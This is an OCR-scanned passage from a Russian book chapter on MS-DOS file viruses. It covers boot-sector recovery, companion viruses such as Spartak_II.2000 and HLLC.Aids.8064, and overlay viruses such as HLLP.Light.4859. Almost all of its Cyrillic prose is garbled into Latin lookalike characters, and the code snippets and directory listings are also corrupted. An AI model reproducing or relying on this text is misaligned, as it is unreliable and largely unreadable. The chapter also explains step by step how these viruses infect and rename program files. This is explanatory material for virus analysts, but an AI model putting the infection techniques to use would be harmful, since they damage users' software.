4>pam eH Tbi h h ck o b o to  npocrpaH C TBa b cfiaftji: o h ii BaM r ip n ro a a T c a  a .w  
nocbiJiKii BiipycoJioraM  (e c jm  BHpyc h o b m h ) h jih  zuia T oro , h t o 6 m «b c.nv- 
Mae n e ro »  BepnyTb h x  n a  n p e a a m e  MecTa.

__________ CoBeibi no 5opb5e c 3arpy30HHbiMn Bnpycaivin ❖ 87

1 KcTaTH, Koraa-To aaBHbiM-iiaBHO iia nsmmioiiMOBbix juicKPTax BMecio uiTopKii 
iicnojibaoBajiacb npopeab. KOTopyio cjieuoBajio 3aK.ieHBaTb cnenHa.ibnoft .wri- 
koh 6yMa5KKOtt.

2 J im  hhi'kpt sra npeaocTopojEHOcTb He o6s3aTejibHH.
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Zlajiee HMCHre b bh/iv, mto ajieweHTapiio «iicuejiae'rcH» ancKexa: cko- 
rmpyMTe bcio HHĈ opManmo c Hee Ha BHHHecxep hjih apyryio AHCKexy, 
0T(|)0pMaTHpyiiTe ee KOMaii/ioii ^FORMAT A> h;ih «B> h BepHHre hh- 
(jxipMaHHK) Ha MeCTO. OTMeTHM, HTO TEKHe /TCHCTBHH IipOTHBOnOKa3aHbI 
b tom cjiyyae, ecjiii KonHpoBamie HHfjx>pMannH c ahckcth Ha ;racKexy 
MoaceT HapyuiHTb cTpyKTypy ee coaepacHMoro, a OHa (cTpyKTypa) Baa<- 
Ha. HanpHMep, cTapbie Bepcmi nepeBoanitKa Stylus nocraBJiHJincb Ha 
neKonMpyeMbix 4KJHO'ieBHX» zuicKexax. He oiiyMaHHo zuicrpHoythbhue 
/IHCKtTbl HaCTOHTeJTbHO peKOMeĤ yeTCH XpaHIITb C OTKpblTblMH UITOpKa- 
mh 3aiuHTbi ot 3anncH h cHHMaTb 3amHTy JiHuib iienocpeacTBeHHo nepe/t 
ycTaHOBKOH nporpaMMHoro ooecneyeHiia Ha 3aBtvi0M0 iihctuh ot Bupy- 
cob KOMnbioTep, a noT O M  cpa3y ace BoccTaHaBJiHBaTb ee (3amHTy) b npeac-
HeM  C O CTO H H H H .

KpoMe Toro, Stoned-no/ioOHbie BHpycbi 6e3 npoojieM yaajiaioTca H3 
MBR BiiHHecTepa KOMaHfloii «FDISK /MBR»'.

B 6ojiee cjio/khhx c jiynaax  paaoopaTbtM b  n p o H 3o m e /u u e M  h  BoccTa- 
HOBHTb status quo noMoaceT cTapbiH flo6pbin DiskEdit. Kan n p a B iu io ,  

AOCTaTOHHO 6biBaeT HaHTH Ha BiiHHecrepe c o x p a H e H H y io  BHpycoM h.xh 

oyx'KHTOM KonHio 3arpy30HHoro ceKTopa ii BepnyTb ee Ha MecTo. 06Hapy- 
acHTb ee m o»cho BH3ya;ibHO -  no xapaicrepHbiM tckcxobhm  coo6iueim »M  a  

cH raaType «AA55h». K cTara, zia6bi He 3aniiMaTbca 3thm nyflHbiM aejioM  

b  noacapHOM nopaflKe, j i y n u ie  3 a p a H e e  caMocToaTejibHO co x p a H H T b  ko- 
m iH  3arpv30HHbix ceKTopoB b  B ii / ie  <f>afuioB Ha «cnacaTejibHOH» ancKeTe 

hjih  npocTO b  K0pHeB0M KaTajiore BHH^ecTepa. 3a Bac b to  m otvt cjeJiaTb 

Norton Utilities h jih  aa>Ke m icTajM aTop Windows, KOTopbrii npea.naraex 

0praHH30BaTb «cnacH TejibH yio» ziHCKeTV bo BpeMa ycxanoBKH onepaim - 

ohhoh  cucTeMbi. He oncaabiBaHTecb o t  s to ii B03MoacHocTn!

Hy i i  H a K O H e u , x o h c t c h  ycn0K0HTb caMbix ,’ieHHBbix i i  T p y c jii iB b ix :  

/taace ecjiii B bi 0TKa.3a.TH Cb o t  c o 3 n a H H a  « c n a c n T e ; i b m j x »  / ih c k c x  i i  c o x p a - 

H e H H a  K o im i i  3 a rp y 3 H H K 0 B , Bee p aB H O  co B p e M e H H b ie  B e p c iiH  Windows o t-  

c;ie >K H B aioT c o c T o a H n e  a a r p y s o 'm b ix  c e K T o p o B  ii  b  c .iy n a e  hx H 3 M e H e H iia  

H e TO JibK O  n p e f ly n p e a a T  B ac o B 0 3 M 0 a cH 0 C Tii 3apaaceH H a B iip y c o M , no h  

B O C C TaH O B H T h x  n p eacH ee co,aepa<MMoe. I lp o T H B  6 y T K H T a  s t o  He lioaeii- 
C TB y e T , s a TO  «o6bi'iHbiii»> B iip y c , C K opee B c e ro , 6 y / ie T  no6eac.aeH.

1 3 t o  cTaHaapraaa y m n rra  MS-DOS. Bxoaaiuaa Taicace b cocxaB Windows 
95/98/ME.
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OaMAOBblG BHpycbi 
b M S -D O S

BojibiuiiHCTBO (n o  HeKGTopbiM oneHKaM , a o  20 TbicHH) B cex  c y m e c T B y io -  

m iix  Ha CBeTe ca\ iopa .3M H o*a ]o in hxch  n porpaM M  nanH canbi a.xa on ep a - 

UHohhoh cncTeMbi MS-DOS [6]. 3a no.iTopa a e o m m e x i ia  aKTHBHOH 

3K cru iy aT an H H  o n e p a m io H iia t f  c u c x e M a  MS-DOS n c c a e a o B a n a  B H p y c o - 

nHcaTeJMMH 6 yKBaabHO BaoJib h n on ep eK : Maiio H afiacTC H  jiaaeeK , b koto- 
pb ie  He nwTajiHCb 6 bi n p o x iic n y x b c a  c o rv ia n H b ie  hm h aJieicrpoHHbie «m h k - 

p oo p ra ra i3 M b i». B cboio on epeab , BiipycoaoraM b n onb iTK ax H3aoBHXb 

n p o c o H H B iu y io c ji  «3 a p a 3 y »  h 3aTKHVTb 3 th  ,ia3eHKH n pH xoan J iocb  no/inac 

-aeMOHCTpupoBaTb no/u im m bie  n v a e c a  nporpaM M H C TC K oii H 3 o 6 p e T a x e a b -  

HOCTH.

TeM  H H TepecH ee h  n o jie3H ee n p o c a e a ir rb  3a VBJieKaTe.ibHbiMii npH- 

KJHOHeHHHMH H K p O B O n p O JIH TH b lM H  Cpa5KeHH5IMH, p a 3 B O p a H IIB a B IU IIM H - 

c a  B H 3 B H JIH C TH X  FIO JiyTeM U blX  J ia O H p iIH T a X  O Iie p a ilH O H H O H  CHCTeMbI 

MS-DOS Ha npoTHJKeHHH n o a v T o p a  aecuxiiJiexHH, npHMepHO c 1986 no 

2000 r. X o t j i  6 bi noTOMy, h to  n pne\ ib i B iipycH b ix  «aTHK>> h  aHTHBHpycHbix 

«3aujnT>> t o h  an o x n  noJiyMn;ni n poaoaaceH H e n  pa3BHTiie b h obom  Beice, 

b a n o x v  W in d o \ vs -b h p y c o b .

3.1. Bnpycbi-«cnyTHHKM»
Bbi tie bon Py.uama, -  oSbsieuji don Paoa. -  Bt>i 

caMoseaneu,... PyMama dcmopcKuu y.uep rtsmib 
jie.m Ha3ab u jieM um  e <prwu.v>noM aatene c.eoeto 

poba.

A. h B. Cxpyrau,Kne. «T p ya n o  owTb 6 oroM »

B uimtOHCKHX aeTeKTHBax m o jk h o  BcxpeTiixb neMajio njuiiocxpamiii 
npocxoft, iioHHXHoii h  jiereo pea.xHayeMOH iiaen iiaen «flBOHHmca»-. 

UlupoKo ncno;ib3yexcH ona ii b npaKXHKt* BHpyconncaxe.ntbCTBa.
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B  0 CH0 B e  4 >y H K n H 0 H H p 0 BaH H H  BH py c o b - « cn ym H U K oe» ( h x  e m e  H a3 b i-  

B a io T  B H p y c b i - « K O M tiaH b O H b i» )  jiejfC M T n p o c T o n  n p H H U H n : n p H io ia f lH a a  

n p o r p a M M a  H M e e T  B 0 3 M 03KH 0 c n >  3 a n y c T M X b  H a  H c n o .r a e H i i e  a p y r y i o  n p o -  

rp a M M y . 3 x o x  n p n n n n n  c n p a B e a a H B  t i j t h  o r p o M H o r o  K O .w i e c T B a  o n e p a -  

m io H H b ix  c n c T e M , B K jn o M aH  M S - D O S ,  W i n d o w s ,  k j i o h h  U N I X  h  n p o n e e ,  

h ,  3 H 3 HHT, B i i p y c b i  s x o r o  m i a c c a  n p e flC T a B .T O io T  C0 6 0 1 I  H a H o o .a e e  o 6 m m i ,  

y H H B e p c a J ib H b if t  r a n  K O M tib io T e p H O H  « 3 a p a 3 b i » .  B o t  n p n M e p b i  T o r o ,  K a K  

a r a  o n e p a u n a  B b in o jiH H e T c a  H a  p aru iH H H H X  H3 b n c a x  n p o r p a M M iip o B a H H H  

n  b  p a 3 J i m H b i x  o n e p a i iH O H H b ix  c n c T e M a x .  

B  M S - D O S  H a 5t 3 U K e  a c c e M O J ie p a .

!nov AH, 48h 
!dov a l ,  0 
®ov ds, seg Path 
mov dx, o f f s e t  Path 
*ov es. seg ParB 
mov d x , o f f s e t  ParB 
i n t  2 lh  
JC E rro r

Path db PROGRAM.EXE',0
ParB dw 0
dw ? 
dw ?
dw 4 dup (0 )

B  M S - D O S  H a  H3biK e C h :  

systemCP80GRAM.EXE');

B  M S - D O S  H a H3 b iK e  H a c K a j i b :

Exec( ' PROGRAM. EXE',  );

B  W i n d o w s  H a  H3 b iK e  C h :

WinExec(■PROGRAM.EXE', SW^SHOWDEFAULT);

A b ot npimep fljm Unix-noaoSHbix cncxeM:

p id _ t q; char * e [ ] = { ’ ",

i f  ( f c r k ( ) )  w a it(& q ) :  e ls e  e x e c v (" ./p ro g ra m ". e );

PaccMOTpiiM o6ujHe npmmMnbi paooTbi Biipyc0B-<scriyxHiiK0B>> na 
npiiMepe BHpyca Spartak II.2000. AiropHXM pa6oxbi sroro npeacTaBii- 
xe.;m o.neKTpoHfioiii <}>ayHbi» CKJiaabreaexcji H3 cjie.ayioui.Hx m aro B .

I ila r  1. Houck ue.xeii a.™ 3apa*eHiia. B KanecTBe TaKOBbix Bbicxynarox 
(j)aii.n.i c  pacuiHpeHHMMH <• .( ( ) M »  11 « . E X E » .

Cpefla •janycxaeHOS nporpaMMbi -  Konna TeKyaseft 
CMeiilSHiie XB0CT3 KOMaHflHOlS CTpOKt*
C e rM G H T  X 8 0 C T 3  KO M aH flH O ii CTpOK.H

0 -  aarpyam b n BunojiHsiTb npo rpaM M '/ 

CerMeniHaR naoTb aflpeca i<m6hh nporpaNMw 
CMeiiienne umohm nporpaM Mbi 

CerMeHiHaa nacTb 6-no<a napaMerpoB 
CMeueHMe 6/iOK« napa«eTpoB

n e p e x o u  no ownSke
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MODE COM 29 911 05 .05 .99  22:22 M0DE.C0M <- 1 -h *spTBa
MEM EXE 32 338 05 .0 5 .99  22:22 MEM. EXE <- 2 -h xepTB a

VIRUS EXE 2 000 04 .07 .98  13:35 VIRUS. EXE <- B iipyc
3 oaiijiDB 64 249 6aflT

IUar 2. IlepeHMeHOBaHMe acepTBbi no cJie^yromeMV npaBHJiy: pacuin- 
peHHe cfian/ia Menaexca Ha «.EEE» zyia EXE-cfjaiuioB h Ha * . C C C »  ziJia 

C O M -cJm h jiob .

MODE Coo 29 911 05.05  99 22 22 MODE.CCC < - 1-si xepTBa

MEM EEE 32 338 05.05.99 22 22 MEM.EEE <- 2 - h  xepTBa

VIRUS EXE 2 000 04 .07 .98 13 35 VIRUS. EXE <- Btipyu

3 (tjaflnoB 64 249 oa^T

IUar 3. CoaaaHiie K o n im  BHpyca co cxapbiM i iM e n e M  wepxEbi.

MODE COM 2 000 09.09.01 13:32 MODE.COM <- 1-fi konns Bnpyca

MEM EXE 2 000 09.09.01 13:32 MEM.EXE <- 2-e Konhh Bnpyca

VIRUS EXE 2 000 04.07.98 13:35 VIRUS. EXE <- Bi-ipj

MODE CCC 29 91 05.05.99 22:22 MODE.CCC <- 1-a *0pT8c!

MEM EEE 32 33.8 05 .05 .99 22:22 MEM.EEE <- 2 -h *e p T B 3

SPARTAK BAT 86 09.09.01 13:32 SPARTAK. 3AT
6 stJaCi/ioB 68 335 6a

TaKHM 06pa30M, noc.xe axoro rnara b Kaxa.xore coflepacaxca KaK neire- 

MeHeHHMe, ho  nepenMeHOBaHHbie 4)aftjibr-?KepxBbi, xaK h KonHH BHpyca. 
• «y3ypn n poB aB m n e» n paB o  Hocuxb Hyacne HMeHa. C o o c x b c h h o  roBopH. 

3 a p a * e H iie  cocxosmocb. Ecjih xenepb nojib30Baxejib noribixaexcH 3a- 
nycxHTb o j i f iy  H3 sapaaceHHbix n porpaM M  (H anpH M ep, saxo 'iex  03HaK0- 

MHTbCH c pacnpeae jieH H eM  naMaxn n p n  n oM om n  KOMaH^bi «M E M »), xo  

ynpaBJieHHe nojiyH H T h  HaHHex BbinoJiHHXbca jKH Bym aa b  cfiaiuie « M E M .  

EXE* K on n a  BHpyca.

Ular 4. By/iyHH 3anymeH, B iip yc  nepeHMeHOBbiBaex ce6a, h3mchhh pac- 

uinpeHHe (J)aHJia cBoeft aKTHBHOH koiihh  Ha « .$ $ $ » ,  a «npaBHJibHoe» ilmh 

BpeMeHHo B03Bpamaexca acepxBe.

MODE COM 2 000 09.09.01 13:32 M0DE.C0M < - 1-u con no Biipyca
MEM $$S 2 000 09.09.01 13:32 MEM.$S$ <- 2 -a KOfiiM Biipyca
VIRUS EXE 2 000 04.07.98 13:35 VIRUS.EXE <- Bupyc
MODE CCC 26 911 05.05.99 22-22 MODE.CCC <- 1-fl V0DTB3
MEM EXE 32 338 05.05.99 22:22 MEM.EXE <- 2-w xb lh t?a
SPARTAK BAT 86 09.09.01 13:32 SPARTAK.BAT
5 ^aft.nos 68 335 0931

LLIar 5. r ip o r p a M M a - a c e p x B a  aanycKaexca 113 B i i p y c a  n p n  n o M o m n  

( J j v h k u h h  4Bh n p e p E iB a H i ia  2 lh. Ona p a 6 o x a e x ,  K a K  h h  b  h c m  n e  o w B a -  

J io .  B b in o j n ia e x  x p e o y e M b ie  /teiicxBHH u  H e  n o f lo a p e B a e x ,  o e / m a r a ,  h t o
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n o cjre  ee  saB ep m ein iJi ynpaBJieH H e BHOBb i io j iv h h t  3JioBpe/iHbift BHpyc 
Spartak_II.2000. Biipyc np0H 3B0flH T oopaTH bie uepeiiMeHOBanHH, B03- 

Bpam aa cu T va u H io  k  t o h ,  KaKOBaa B03HHKJia n o c .ie  3 - r o  n iara , h  n e p e x o -  

AHT k  1-M y rnary. A HMeHHo: iimeT HOBhie uejin /y ra  3apa>KeHĤ , bbiiio/ ihh- 

eT OHepe^Hbie iiepeHMCHOBaHHH h  t .  r .  lipH  s to m  o h  UHKoraa He aapa^caeT  

ca M  c e 6a , t o  ecT b nporpaM M Hbie 4>aii;ibi / ijihhoh  2000 6 aiiTOB.
OcTajiocb ynoM HHVTb eme /iBe MaJioana'iiiTejiMibie o c o 6 c h h o c t h  BH

p y c a  Spartak_II.2000. M3pe;u<a o h  oraam aeT  OKpecTHOcTH K0 \inbi0 Tepa 

pHTMH'iiibiM n o n n CKHBaHiieM  h  oTo6pa>KaeT Ha aicpaHe DMOJieMV n o n y -  

j ia p H o ro  cnopTK-Ty6 a (cm . puc. 3.1).

Pmc. 3.1 ♦> npoflB^eHMe BHpyca 
Spa rtakjl.2000

/ Ip yran  0 C0 6 eHH0 CTb c o c t o h t  b  tom , w o ,  3apa3HB (Jx ih jih  b KaKOM-;m- 

6 o  K aTa jio re , o h  ocTaBJiaeT «jieHH/iKy>>: (Jiartji «SPARTAK.BAT», k o to -  

pbift B u no.iH H eT  o 6 paTHbie nepenM eHOBaiiHH h  KonnpoBaHHH. CaM Ha- 

raflHJi, caM h n oaT iipaeT , -  b o t  TaKne «co B ecT ;iH B b ie » BH pycoriH caTc.iH  

H H oraa nona/iaiOTCfl.

H s v h h b  a.aropHTM p aooTb i BH pyca Spartak_II.2000, H eTpvzu io  pa3pa- 

ooTaTb  a jirop iiT M  e r o  y a a jien iiH : na/io ym i'rro jK H Tb  Bee (.fravuiM fljraHoia 

2000 6 aftTOB, o 6 .Taaaiom ne pac iiiiip em iH M H  «.CO M » h  «.EXE», ;ijih  ko- 

T op b ix  HMCIOTCM «3KBIlBaJieHTbI» C paCIIIMpeHHHMM «.CCC>> H «.EEE». 
3aTeM  noTpeoyeTC H  B epn yTb  BceM nepeHMeHOBaHHbiM nporpaM M aM  h x  

npe>KHHe HMena, o cb o 6 o £ h b  i ix  TaKHM 06pa30M  H3 th jk k o h  B u pycH ofi 

<sKaoa.Tbi». B ynpom eH H O M  BH/ie (h c  zie jiaa  n p o B ep oK ) s th  o n ep a im n  Bbi- 

no .anaeT  4>aiui <<SPARTAK.BAT».
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Bo3HHKaeT, pa3yMeeTCH, Bonpoc: noHCMy Ha.MH oooiiziena BHHMamieM 
saaaya o6iiapy>KeHHH 11 0/iH03iia'iH0r0 pacno3HaBaHH« BHpyca Spartak_
11.2000? R eno  B TOM, HTO 3T0T Biipyc H0.7IHM0p(})eH H He HMeeT nOCTO- 
aHHOH cmiiarypbi. IIpo6 JieMa pacrioanaBaHHM Taicnx BHpycoB 6v/Ict pac- 

CMOTpeHa no3>Ke.
PaayMeeTC-H, Bnpycbi-«cnyTHHKii» o6;ia/;aioT paziOM oojiee ii.ra Menee 

HenpiiHTHbix noooHHbix cbohctb. Bo-nepBbix, npn KoraipoBaHHH 3apa- 
>KeHHoii nporpaMMbi b apyroe MecTO rapaimrpoBaH TOJibKO nepeHoc Biipy
ca, a Ha nepeHMeHOBaHHyro «acepTBy>> n0Hb30BaTejib MO»ceT 11 He o6paraTb 
BHHMaHHH. Bo-BTopbix, 3anycK TaKHM o6pa30M 3apa>KeHHoii nporpaM- 
mh c HOCHTe.’w , 3aiuHiueHHoro ot 3armcH, -  HanpHMep, c CD/DVD -  
IieBOSMOJKCH. B-TpeTbHX, CTaHOBHTCH Hepa60T0Cn0C06HbIMH IieKOTOpbie 

nporpaMMbi, rjisi KoppeKraoH pa6oTbi KOTopbix Ba>KHO «npaBHJibiioe» 
hmh. Hm ootch h apyrne «Mejionn», cnoco6Hbie cHJibiio nonopTHTb KpoBb 

nojibaoBaTe.HTO.
M H Tepecnan  BapuanHH H/ieii nporpaMMbi-«;iBOHHit?ca>> 0CH0Ba- 

Ha Ha oco6eH H ocTH  4>yHKUiioHHpoBaHH5i KOMaH^Hbix n p o n ecco p o B  

C O M M A N D .C O M  h  C M D .E X E : e c jm  n0.zib30BaTe.7ib npn 3an ycK e ne 

vKa3biBaeT pacu iH pem iH  nporpaMMbi, t o  KOMan^Hbifi n p o n e cc o p  cnaH ajia 

nbiTaeTCH HaiiTH h 3anycTHTb ee  COM-BapiiaiiT. TaKHM 06pa30M , ec ;in  

b K aTanore  ,J ie*aT  o t c  nporpaMMbi c 0aiiHaK0BbiMH HMeHaMii, h o  c pa3- 

hmm pacmnpeHHHMH, HanpHMep «P R O G R A M .C O M » h ^ P R O G R A M . 
EXE», t o  3anycK aTbca  B ceraa  6 yaeT  Ta H3 h h x, n oTopa ii HMeeT p ac iu ii-  

peHHe « .C O M ». B o t KaK pa6oTaeT  cTapiiHHbiH  B iip yc  H LLC .A ids.8064, 
H cn o jib .sy rom H H  3 T y  o co6 eH H O cn > . / Io  sa p a jK e m iH :

MEM EXE 32 338 05.05.99  22:22 MEM.EXE < - lepTBa
VIRUS cXE 8 064 25.06.99  14:20 v iru s .e x e  < - Biipyc

2 03HJ1O3 40 402 6a£i!

Iloc jie  3apaaceHna:

MEM EXE 32 338 05.05.99  22:22 MEM.EXE <- *?pT35
VIRUS EXE 8 064 25.06.99  14:20 v iru s .e x e  <- Bupyc
MEM COM 8 064 25.06.99  14:20 MEM.C0M <- Kontiq BHpycs

3 $3vi/ios 4S 466 6-3

H TaK, B iip y c y  He Tpe6yeTCH He m a b K o  M oztii^ iim iipoBaTb KaKHM-Jiir- 

o o  00pa30M  cb ok ) «a cep T B y », h o  aaace i i  nepeHM eHOBbiBart ee ! Bnpone.M, 

nepeiiMeHOBaHHe m okct 0Ka3aTbCH neooxoaHMbiM, ec.?m nporpaMMa vace 

HMeeT p a c m n p e m ie  «.CO.Yl ->. B s tom  c jiyn a e  «>KepTBe> n e jie c o o o p a a n o  

npiicBOHTb p ac im ip eH iie  «.EXE», T or^ a  BHpyc n o jiy 'iH T  B03M0>KH0CTb 

3axBaTHTb o o jie e  «n pH B H .aen ipoB aH H oe» hmh c pacu iH pem ieM  <<.COM».
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CoDCTBeHHO roBopa, Biipyc H LLC .A ids.8064  /iobojibho npHMHTMBeH h 

caM TaK HHKor/xa ne nocTynaeT, 3aTo noflooHoe yMemie npncyme m h o k cct - 
By /ipynix, Hyrb-HyTb oojiee «npoflBHHyTbix» BHpycoB-«cnyTHHKOB».

3.2. «OBepAeMHbie» BHpycbi
B n e p e d u  M u a J ia c b  z o c n o x a  M o 3 e c  c  m z c m m c K im  

vepubm  c y u d y K a u  n o d  m u i u k o u ,  a  n a  r u t m a x  ee 
i p y s u o  e o c c e d a n  c a .u  c m a p u u  M o 3e c .

A. h B. CxpyranKne. 

■eOxejib “ Y  n o in 6 m ero ajibnmiHcxa’V

B o o 6 m e ,  n o / i  oeepnesLMu, h j i h  oeepjiembiMU c e z M e n m a M U , b HHcfiop.viaTH- 
Ke o o h m h o  r r o H H M a io x  « H e c a M O C T O H x e /ib H b ie »  (jjpai'M enxbi n p o r p a M M H O - 

r o  Ko/ia. K o x o p b i e  H 3 H a 4 a jib H 0  H e  n p u cy xcx B y io x  b o n e p a T H B H o f l  n a M jr r i i  

h  x p a H J i x c a  r a e - x o  H a B H e u iH e M  i i o c u x e j i e .  «D iaBHa«>> nporpaMMa (k o -  

x o p y i o  n a c x o  Ha3biBaiox KopneeuM cem m m oM ) ii00qepe/iH 0 3 a rp y »caex  

h x  jx n s i  i i c n o .x H e i iH H  b o / i h h  h  x o x  > k c  p a f io H  o n e p a x H B H o f i  n a w a x H  xaK, 

m x o  o h h  nepeKpbiBaiox a p y r  A p y r a .  OxcKxaa si n p o i i 3 0 i u e j i  x e p M iiH  (aH r ji. 

o v e r l a y  -  n e p e K p u r a e ).  E c j i h  O B e p j i e i i n b i e  c e r M e H T b i n p e / i c x a B j i s r o x  c o -  

6 o i i  O T a e .x b H b ie  4)afijibi, t o  r o B o p a x  o  eHetuHux oeepjiesLX. E c j i h  o h h  c o -  

c x a B J i a i o x  o o t o  iie .xoe  c  < J> a iiJio M  K op n eB oro  c e r M e H x a ,  x o  c w r a e x c a ,  hxo 

3xo  m y m p e H H u e  o e e p j i e u .

PaccMoxpeHHbie b npezibUiyiueM pa3/iejie Bupycbi-cnvTHHKH TO>Ke 

b KaK0M-x0 cMbicjie pea.TH3yiox Hziero BHeuiHHX oBepjieeB. CymecxBy- 
K)T TaK>Ke BHpycw, Koropwe nocjie 3apa*:eHHH npjiKpen.wfOT (J)ai iJ iu  

«>KepTB» k CBoe\iy (Jiaftjiy. B y a e M  Ha3biBaTb hx « o ce p jie u n  biMU»  eu pyca M u . 

PaccMOTpiiM rioapoonee ripnnnim hx neficxBiia Ha npiiMepe BHpyca
H LLP.L ight.4859.

L D a r  1. B i i p y c  coflep>KHX BHyxpn ceoa a a p a x e u n y io  n p o rp a M M y  b  Ka- 

4ecTBe «BHyrpeHHero» OBep.xea. C .p a3 y  nocjie 3 a n y c K a  nojiyHaex ynpaB- 

jieHiie «K 0pneB0H cer.Mein>. t o  ecxb Biipyc. B H p y c  «3Haex», HaMinraH 

c KaK o h  no3nmin b ero 4 •aii-’i e  pacnojiaraexca opnrHHajibHafl nporpaM
M a, co3aaex Ha /incKe (Jmhji c HMeiieM L1GHT.COM, H3BJieKaex H3 c b o h x  

«Heap> ii pasMemaex b  HeM opHnwajibiiyio nporpaMMy ii 3anycKaex ee na 

HcnoJinenHe.

MORE COM 10 503 05.06.99 22:22 MOSc.COM <- aflopoBaa nporpaMMa
LIGHT COM 'C 503 0 5 .05 .99  22:22 LIGHT.COM <- ObiBuJi'iPi OBbWvv-
Vl.-iUS COM '5  099 05.07.97  19:05 v i ' j s . c c t  < - B m n y ~ '.seor.>:?<■'

? 36 9T5 n.ifiT
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Illar 2. BHOBb i io j iv t o b  ynpaBJieHHe, B iip yc  c ra p a e T  (jjaiiji LIGHT. 
COM.

IH a r  3. B H p yc  h iu c t  b Tenym eM  K aT a jio re  u e jn i jsjih  3apa>KeHHM. B  Ha- 

m eM  cjiyH ae «H a n a a eH H io » /ioji>KHa no/iBeprHVTbca cHCTeMHaa yra/n iTa

MORE.COM.

MORE COM 10 503 05 .0 5 .99  22:22 M0RE.C0M <- 3flopoBad nporpanna
VIRUS COM 15 099 0 5 .0 7 .97  19:05 v ir u s .c o n  < - BHpyc c OBepfleeM

2 siaki/iOB 25 602 6afiT

U la r  4. Bupyc 3anHCbiBaeTCH Ha M ecTo nporpaM M bi-«>KepTBbi», a no- 

to m  (npeflBapH TejibHO  coxpaHHB b n a m a th ) rip u coez iH iw eT  6 aim >i ee 

npe>KHero coaep jK H M oro  k  s to m v  >Ke <|)aitJiy. B p e 3y.iibTaTe nojiynaeTC fl 

(fiaH.n «cy M M a p n o H » /uihum, K opneB on  c e ra eH T  K O T o p o ro  npeacTaB/iHeT 

co6 o h  K oa B iip yca , a iiaccHBHbin BHyrpeHHHH oB ep jie ii -  k o a  nporpaM M bi 

( c m . pnc. 3.2).

f l o  3a p a x e H n a

flbaiin BHpyca 0a Pin 3flopoeoM 
nporpaMMbi

f lo c n e  3apa>KeHtfR

Bupyc

n porpaM M a, 
npunncaHHan 
k KOHuy BHpyca

P m c . 3 . 2  ❖  ripMHUMn 3apaxeHMA, 
ncno/ib3yeMbifi «oBep/iefiHbiMM» BupycaMM

H T a K , riocjie 3apaaceHHH (Jjaftji MORE.COM «n o n p a B JiH e TC H » Ha 4859 
6aiiTOB.

MORE COM 15 362 17.0S.01 21:40 M0RE.C0M
VIRUS COM 15 099 0 5 . 0 7 . 9 7  19 :05  v i r u s . coed

2 $aitaOB 30 461 6aSt

P a 3 y M e e T c a ,  Koppc-icrnaH pa6oTa 3anycKaeM0H TaioiM 06pa30M «>icepT- 
Bhi>> B Q 3M o> K H a  z u u ic k o  He B c e r / j a  -  H e K O T O p b ie  n p o r p a M M b i  « o o n > K a to T -  

c h » ,  k or/i a  hx H a a b iB a j o T ' iy j K i iM  h m c h c m .  I Io « H e r o p / ib ix »  nporpaMM to ace 

30BO.TbHO MHOro. OlIH HOpMaJIbHO 3aiiyCTHTCJI, BbinOJIHHT CBOtO pa6oTV H 
3aBepuiaTc.R, BepHVB ynpaBJieHHe K o z iy  BHpyca.

BoJiee «npo/iBHHVTbiH »  B H p y c  .ao.uKeH om ji 6 m iiepeHMeHOBaTbca b o  

'iTo-HHoy/tb Hiioe, paaMecTHTb «;-KepTBy» non ee rio;t;inHHbiM iiMciieM, aa-



96 ❖  cDamoBbie Bupycbi b MS-DOS

r i j'C T H T h  e e ,  a  n o c . n c  n o j i v ^ e m i a  y n p a B j i e H u a  B u n o n H H T b  o o p a T H y io  o n e -  

p a m « o  ( n p n M e p H O  T a K , K a K  s t o  a e .n a J i  B H p y c  Spartak_II.2000). T a K w e  

B i i p y c h i  / le i ic T B H T e .T h H o  c y m e c T B y i o T ,  h  h x  H eM a .n o .

06biHHO B H p yc o jio rn  npHCBaiiBaioT npecJaiKC « H L L »  HMeHaM BHpy- 

cob , H anncaH H bix Ha H3biKax B b icoK oro  ypoBHJi -  ria cK a ;ie , C h , BaftcHKe, 

KjiHimepe, OopTe, MoayJie-2, Delphi 11 npo’mx. HeTBepTaa 6 yKBa npe- 
(})H Kca crienn (})H H H pyeT  r a n  B H p y ca :

O  HLLC -  B H p y c b i-c r iy T H H K H  ( c o m p a n i o n ) ;

O  H LLP -  «OBep;ieiiHbie» BHpycw-napa3iiTbi (parasitic);

O  HLLO -  riepe3anHCbiBaiomHe Biipycbi (overw riting).
JXjih  coaaam iH  BHpycoB-cnyTHHKOB h  «O B ep^ eH H b ix » B iip ycoB  Tpe- 

oyioToi MHHHMa/ibHbie 3Hanii>f n y.MemM b 06.130™  nporpa.M M iipoBa- 

HHii (aa>Ke 3H aH iie H3biKa AcceM6aepa coBepm eHHO H eooflrsaTe.ib iio ) h 

coBceM HeMHoro BpeMeHH. HanpHMep, hcxo/ihwh tckct BHpyca HLLP. 
Light.4859, onyfy iiiK O B aH U b iii b 12-m B binycKe ajieicrpoHHoro acypHa.na 
Infected Voice, coctoh t B cero  H3 65 CTpoK Ha hsmkc HacKa/ib, 10113 koto- 
pMX npeflHa3HaHeHU /urn OToSpaaceHHtf bchmcckhx jypauKHX coo6meHHii 
n in a  «M\okhkh o p o c a ii paooTaTb  -  n ow .T ii nuBacMKa miTbU (aB T op cK iie  

op4>orpa(j3Ha h nym cryanH H  co x p a H e iib i). H epeaK O  HLL-Biipycbi co- 

aepacaT BHyrpH c e6 a  0 6 'beM nyK ) «n e p e iiH C K y » c Biipyco/ioraMH, o 6 bPino  

6 e 3  .viajieH iiiHX npH3HaK0B rpaMOTHocth, 3aTO c ooiuihcm H eH opM araB - 

H o ii JieKCHKii (n pH M epoM  M oryT  cJiyaaiTb «meHKii» H3 ceMeiicTBa HLLP. 
D oggy) Eme M eH biiie  MbiejiHTejibHbix p ec yp co B  3aTpaH iiBaeTca Ha C03- 
a a m ie  tiepe3anucb tea io iu ,ux  e u p y co e , KOTopbie He yrpyacaaiO T  c e 6 a  «H 3- 

.tiiiiiecTB aM H » ,  a npocTo yoHBaiOT «>K epTB y», 3anHCbiBaHCb noBepx Hee. 

HanncaHiie HLL-BHpvcoB T an o ro  p oa a  -  n p iiB H J iera ji BOiiHCTByromux 

6 e3 aape ii.

T e M  H e M e H e e  o G n a p y m - H n e  h  n 3 JieM eH H e H L L - B H p y c o B  n o a ’ ia c . n p e a -  

c .T a B JiH io T  a m  B u p v c o j i o r a  ne.-’ierKyio 3 a a a i iy . 0 6 b n n o  b t o  c j i y M a e r o i ,  

Koraa Biipyc coaepa<HT KaKvro-HHoyab necieBH-inyio hskimhhkv . H a 

n p H M e p  n p v i n n c u B a e T  k  c e 6 e  « * e p T B y » ,  n p e a B a p i r r e J i b H o  a a i m u f ip o B a B  

